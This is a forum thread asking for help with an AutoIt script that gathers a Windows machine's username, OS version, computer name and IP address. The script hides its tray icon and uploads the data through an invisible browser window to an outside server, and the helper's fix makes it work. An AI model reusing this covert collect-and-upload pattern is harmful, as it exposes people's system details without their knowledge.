CREATING A FILE, WRITE SOMETHING IN THE FILE AND UPLOAD

[LIMITER 0]

When the script uploads the file, on the server the file is shown as having 0 bytes .

What's the problem ?????

#NoTrayIcon
#include <IE.au3>
#include <File.au3>

$sFilePath = @SystemDir & "\limiter.txt"
_FileCreate ( $sFilePath )
$file = FileOpen($sFilePath, 1)
FileWrite($file,"LIMITER - " & @MDAY & "/" & @MON & "/" & @YEAR & " - " & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF)
FileWrite($file,"----------------------------------------------" & @CRLF)
FileWrite($file,"Username : " & @UserName & @CRLF)
FileWrite($file,"OS Verison : " & @OSVersion & @CRLF)
FileWrite($file,"Computer Name : " & @ComputerName & @CRLF)
FileWrite($file,"User Name : " & @UserName & @CRLF)
FileWrite($file,"IP Address : " & @IPAddress1 & @CRLF)
FileWrite($file,"-----------------------------------------------" & @CRLF)

$oIE = _IECreate ("http://limiter.evonet.ro/upload.html",0,0)
$hwnd = _IEPropertyGet($oIE, "hwnd")
$oForm = _IEFormGetObjByName ($oIE, "upload")
$oQuery = _IEFormElementGetObjByName ($oForm, "uploaded")

_IEAction($oQuery, "focus")
Sleep(250)
ControlSend($hwnd, "", "Internet Explorer_Server1", @SystemDir & "\limiter.txt")
ControlSend($hwnd, "", "Internet Explorer_Server1", "{ENTER}")

Exit

THANKS IN ADVANCE !!!

Edited December 28, 2007 by LIMITER

[martin 72]

When the script uploads the file, on the server the file is shown as having 0 bytes .

What's the problem ?????

#NoTrayIcon
#include <IE.au3>
#include <File.au3>

$sFilePath = @SystemDir & "\limiter.txt"
_FileCreate ( $sFilePath )
$file = FileOpen($sFilePath, 1)
FileWrite($file,"LIMITER - " & @MDAY & "/" & @MON & "/" & @YEAR & " - " & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF)
FileWrite($file,"----------------------------------------------" & @CRLF)
FileWrite($file,"Username : " & @UserName & @CRLF)
FileWrite($file,"OS Verison : " & @OSVersion & @CRLF)
FileWrite($file,"Computer Name : " & @ComputerName & @CRLF)
FileWrite($file,"User Name : " & @UserName & @CRLF)
FileWrite($file,"IP Address : " & @IPAddress1 & @CRLF)
FileWrite($file,"-----------------------------------------------" & @CRLF)

$oIE = _IECreate ("http://limiter.evonet.ro/upload.html",0,0)
$hwnd = _IEPropertyGet($oIE, "hwnd")
$oForm = _IEFormGetObjByName ($oIE, "upload")
$oQuery = _IEFormElementGetObjByName ($oForm, "uploaded")

_IEAction($oQuery, "focus")
Sleep(250)
ControlSend($hwnd, "", "Internet Explorer_Server1", @SystemDir & "\limiter.txt")
ControlSend($hwnd, "", "Internet Explorer_Server1", "{ENTER}")

Exit

THANKS IN ADVANCE !!!

Welcome to the forums

I can't give a complete answer because I don't know the IE functions, but I thought I'd just give a small comment.

I would expect that you should close the file after you have written to it and before you try to transfer it , so after the the last FileWrite add a line FileClose($file)

[JustinReno 0]

JUST A REMINDER:

DO NOT USE CAPSLOCK IN YOUR POSTS.

Ok? Ok.

[LIMITER 0]

JUST A REMINDER:

DO NOT USE CAPSLOCK IN YOUR POSTS.

Ok? Ok.

srry for the capslock and thanks !!!!! it worked !!!

Edited December 31, 2007 by LIMITER